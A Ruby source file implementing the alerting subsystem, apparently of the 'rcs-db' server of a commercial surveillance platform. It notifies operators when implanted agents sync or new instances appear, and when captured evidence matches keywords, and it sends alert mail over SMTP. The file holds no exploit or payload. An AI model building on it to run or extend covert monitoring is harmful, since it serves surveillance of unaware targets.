hackedteam/rcs-db

View on GitHub
lib/rcs-db/alert.rb

Summary

Maintainability
F
3 days
Test Coverage
#
# The alerting subsystem
#

require_relative 'push'

# from RCS::Common
require 'rcs-common/trace'

require 'net/smtp'

module RCS
module DB

class Alerting
  extend RCS::Tracer

  class << self

    def new_sync(agent)
      ::Alert.where(:enabled => true, :action => 'SYNC').each do |alert|
        # skip non matching agents
        next unless match_path(alert, agent)

        # we MUST not dispatch alert for element that are not accessible by the user
        user = ::User.find(alert.user_id)
        next unless agent.users.include? user

        unless alert.type == 'NONE'
          alert.logs.create!(time: Time.now.getutc.to_i, path: agent.path + [agent._id])
          PushManager.instance.notify('alert', {item: agent, rcpt: user[:_id]})
        end

        if alert.type == 'MAIL'
          # put the matching alert in the queue
          ::AlertQueue.add(to: user.contact, subject: 'RCS Alert [SYNC]', body: "The agent #{agent.name} has synchronized on #{Time.now}")
        end
      end
    rescue Exception => e
      trace :warn, "Cannot handle alert (new_sync): #{e.message}"
      trace :fatal, "EXCEPTION: " + e.backtrace.join("\n")
    end

    def new_instance(agent)
      ::Alert.where(:enabled => true, :action => 'INSTANCE').each do |alert|

        #find its factory
        factory = ::Item.where({ident: agent.ident, _kind: 'factory'}).first

        # skip non matching agents
        next unless match_path(alert, agent) || match_path(alert, factory)

        # we MUST not dispatch alert for element that are not accessible by the user
        user = ::User.find(alert.user_id)
        next unless agent.users.include? user

        unless alert.type == 'NONE'
          alert.logs.create!(time: Time.now.getutc.to_i, path: agent.path + [agent._id])
          PushManager.instance.notify('alert', {item: agent, rcpt: user[:_id]})
        end

        if alert.type == 'MAIL'
          # put the matching alert in the queue
          ::AlertQueue.add(to: user.contact, subject: 'RCS Alert [INSTANCE]', body: "A new instance of #{agent.ident} has been created on #{Time.now}.\r\n Its name is: #{agent.name}")
        end
      end
    rescue Exception => e
      trace :warn, "Cannot handle alert (new_instance): #{e.message}"
      trace :fatal, "EXCEPTION: " + e.backtrace.join("\n")
    end

    def new_evidence(evidence)
      ::Alert.where(:enabled => true, :action => 'EVIDENCE').each do |alert|
        agent = ::Item.where({_id: evidence.aid, _kind: 'agent'}).first

        # not found
        next if agent.nil?

        # skip non matching agents
        next unless match_path(alert, agent)

        # skip non matching evidence type
        next unless (alert.evidence == '*' or alert.evidence == evidence.type)

        # skip if none of the values in the "data" match the keywords
        next if evidence.data.values.select {|v| v =~ Regexp.new(alert.keywords, true)}.empty?

        # we MUST not dispatch alert for element that are not accessible by the user
        user = ::User.where(_id: Moped::BSON::ObjectId(alert.user_id)).first
        next unless user
        next unless agent.users.include?(user)

        # save the relevance tag into the evidence
        if evidence.rel < alert.tag
          evidence.rel = alert.tag
          evidence.save
        end

        # if we don't want to be alerted, don't insert in the queue
        next if alert.type == 'NONE'

        # put the matching alert in the queue the suppression will be done there
        # and the mail will be sent accordingly to the 'type' of alert
        # complete the path of the evidence (operation + target + agent)
        path = agent.path + [Moped::BSON::ObjectId.from_string(evidence.aid)]

        # insert in the list of alert processing
        ::AlertQueue.add(alert: alert, evidence: evidence, path: path,
                         to: user.contact,
                         subject: 'RCS Alert [EVIDENCE]',
                         body: "An evidence matching this alert [#{agent.name} #{alert.evidence} #{alert.keywords}] has arrived into the system.")
      end
    rescue Exception => e
      trace :warn, "Cannot handle alert (new_evidence): #{e.message}"
      trace :fatal, "EXCEPTION: " + e.backtrace.join("\n")
    end

    def entity_name entity
      if entity.name.blank? and !entity.position.blank?
        name = "#{entity.position.join(', ')}"
      else
        name = entity.name
      end
      "#{name} (#{entity.type})"
    end

    def new_link(entities)
      ::Alert.where(:enabled => true, :action => 'LINK').each do |alert|
        # skip non matching entities
        next unless match_path(alert, entities.first)
        next unless match_path(alert, entities.last)

        # we MUST not dispatch alert for element that are not accessible by the user
        user = ::User.find(alert.user_id)
        next unless entities.first.users.include? user
        next unless entities.last.users.include? user

        # if two entities where specified, check that at list one of them is in the alert
        if not alert.entities.empty?
          alert_ent = alert.entities
          case alert_ent.size
            when 1
              next if not alert_ent.include? entities.first._id and not alert_ent.include? entities.last._id
            when 2
              next unless alert_ent.include? entities.first._id
              next unless alert_ent.include? entities.last._id
          end
        end

        unless alert.type == 'NONE'
          alert.logs.create!(time: Time.now.getutc.to_i, path: [entities.first.path.first], entities: [entities.first._id, entities.last._id])
          PushManager.instance.notify('alert', {item: entities.first, rcpt: user[:_id]})
          PushManager.instance.notify('alert', {item: entities.last, rcpt: user[:_id]})
        end

        # update the relevance of the link
        LinkManager.instance.edit_link(from: entities.first, to: entities.last, rel: alert.tag) unless alert.tag.eql? 0

        if alert.type == 'MAIL'
          # put the matching alert in the queue
          ::AlertQueue.add(to: user.contact, subject: 'RCS Alert [LINK]', body: "A new link between #{entity_name(entities.first)} and #{entity_name(entities.last)} has been created on #{Time.now}.")
        end
      end

    rescue Exception => e
      trace :warn, "Cannot handle alert (new_link): #{e.message}"
      trace :fatal, "EXCEPTION: " + e.backtrace.join("\n")
    end

    def new_entity(entity)
      ::Alert.where(:enabled => true, :action => 'ENTITY').each do |alert|
        # skip non matching entities
        next unless match_path(alert, entity)

        # we MUST not dispatch alert for element that are not accessible by the user
        user = ::User.find(alert.user_id)
        next unless entity.users.include? user

        unless alert.type == 'NONE'
          alert.logs.create!(time: Time.now.getutc.to_i, path: [entity.path.first], entities: [entity._id])
          PushManager.instance.notify('alert', {item: entity, rcpt: user[:_id]})
        end

        if alert.type == 'MAIL'
          # put the matching alert in the queue
          ::AlertQueue.add(to: user.contact, subject: 'RCS Alert [ENTITY]', body: "A new entity #{entity_name(entity)} has been created on #{Time.now}.")
        end
      end
    rescue Exception => e
      trace :warn, "Cannot handle alert (new_link): #{e.message}"
      trace :fatal, "EXCEPTION: " + e.backtrace.join("\n")
    end

    def failed_component(component)
      get_alert_users.each do |user|
        ::AlertQueue.add(to: user.contact, subject: "RCS Alert [monitor] ERROR", body: "The component '#{component.name}' has failed, please check it.")
      end
    end

    def restored_component(component)
      get_alert_users.each do |user|
        ::AlertQueue.add(to: user.contact, subject: "RCS Alert [monitor] OK", body: "The component '#{component.name}' is now active")
      end
    end

    private

    def get_alert_users
      group = ::Group.where({:alert => true}).first
      return group ? group.users : []
    end

    def match_path(alert, agent)
      # empty alert path means everything
      return true if alert.path.empty?
      
      # the path of an agent does not include itself, add it to obtain the full path
      agent_path = agent.path + [agent._id]

      # check if the agent path is included in the alert path
      # this way an alert on a target will be triggered by all of its agent
      (agent_path & alert.path == alert.path)
    end

    public

    def dispatcher_start
      # no license, no alerts :)
      return unless LicenseManager.instance.check :alerting

      Thread.new do
        begin
          dispatch
        rescue Exception => e
          trace :error, "ALERTING ERROR: Thread error: #{e.message}"
          trace :fatal, "EXCEPTION: [#{e.class}] " << e.backtrace.join("\n")
          retry
        end
      end
    end

    def dispatch
      loop do
        queued = AlertQueue.get_queued
        queued ? process_queued(queued) : sleep(1)
      end
    end

    def process_queued(queued)
      entry = queued.first
      count = queued.last

      trace :info, "#{count} alerts to be processed in queue"

      if entry.alert and entry.evidence
        alert = ::Alert.find(entry.alert.first)
        user = ::User.find(alert.user_id)

        # check if we are in the suppression timeframe
        if alert.last.nil? or Time.now.getutc.to_i - alert.last > alert.suppression or alert.logs.empty?
          # we are out of suppression, create a new entry and mail
          trace :debug, "Triggering alert: #{alert._id}"
          alert.logs.create!(time: Time.now.getutc.to_i, path: entry.path, evidence: entry.evidence)
          alert.last = Time.now.getutc.to_i
          alert.save

          item = Item.find(entry.path.last)

          # notify the console of the new alert
          PushManager.instance.notify('alert', {item: item, rcpt: user[:_id]})
          send_mail(entry.to, entry.subject, entry.body) if alert.type == 'MAIL'
        else
          trace :debug, "Triggering alert: #{alert._id} (suppressed)"
          al = alert.logs.last
          al.evidence += entry.evidence unless al.evidence.include? entry.evidence
          al.save
          # notify even if suppressed so the console will reload the alert log list
          PushManager.instance.notify('alert', {item: item, rcpt: user[:_id]})
        end
      else
        # for queued items without an associated alert, send the mail
        send_mail(entry.to, entry.subject, entry.body)
      end
    rescue Exception => e
      trace :warn, "Cannot process alert queue: #{e.message}"
      trace :fatal, "EXCEPTION: [#{e.class}] " << e.backtrace.join("\n")
    end


    def send_mail(to, subject, body)

      if Config.instance.global['SMTP'].nil?
        trace :warn, "Cannot send mail since the SMTP is not configured"
        return
      end

      trace :info, "Sending alert mail to: #{to}"

msgstr = <<-END_OF_MESSAGE
From: RCS Alert <#{Config.instance.global['SMTP_FROM']}>
To: #{to}
Subject: #{subject}
Date: #{Time.now}

#{body}
END_OF_MESSAGE

      host, port = Config.instance.global['SMTP'].split(':')
      auth = Config.instance.global['SMTP_AUTH'] ? Config.instance.global['SMTP_AUTH'].to_sym : nil

      smtp = Net::SMTP.new host, port
      smtp.enable_starttls if Config.instance.global['SMTP_STARTTLS']

      smtp.start(Config.instance.global['CN'],
                 Config.instance.global['SMTP_USER'],
                 Config.instance.global['SMTP_PASS'],
                 auth) do |smtp|
        # send the message
        smtp.send_message msgstr, Config.instance.global['SMTP_FROM'], to
      end
    rescue Exception => e
      trace :error, "Cannot send mail: #{e.message}"
      trace :fatal, "EXCEPTION: [#{e.class}] " << e.backtrace.join("\n")
    end
  
  end
end

end # ::DB
end # ::RCS